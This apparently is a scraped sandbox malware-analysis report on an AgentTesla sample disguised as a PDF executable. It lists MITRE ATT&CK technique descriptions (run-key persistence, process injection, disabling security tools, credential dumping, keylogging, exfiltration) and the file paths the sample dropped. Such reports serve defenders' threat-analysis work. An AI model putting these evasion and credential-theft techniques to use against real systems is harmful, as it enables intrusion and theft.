Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report z38PO_20248099-1_pdf.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Persistence and Installation Behavior

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\FrFvspxoHsPs.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\sgxIb.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\z38PO_20248099-1_pdf.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_aolatbuv.zf4.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jsbvj1y4.lpd.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jvlmnsfm.y1i.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kllndhzy.o0n.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_moykrvrc.qce.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zk3oli14.52y.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zpr3r03m.arw.ps1

Windows Analysis Report
z38PO_20248099-1_pdf.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.
Tactics:	Exfiltration
Data Sources:	Application Log: Application Log Content, Cloud Storage: Cloud Storage Access, Command: Command Execution, File: File Access, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre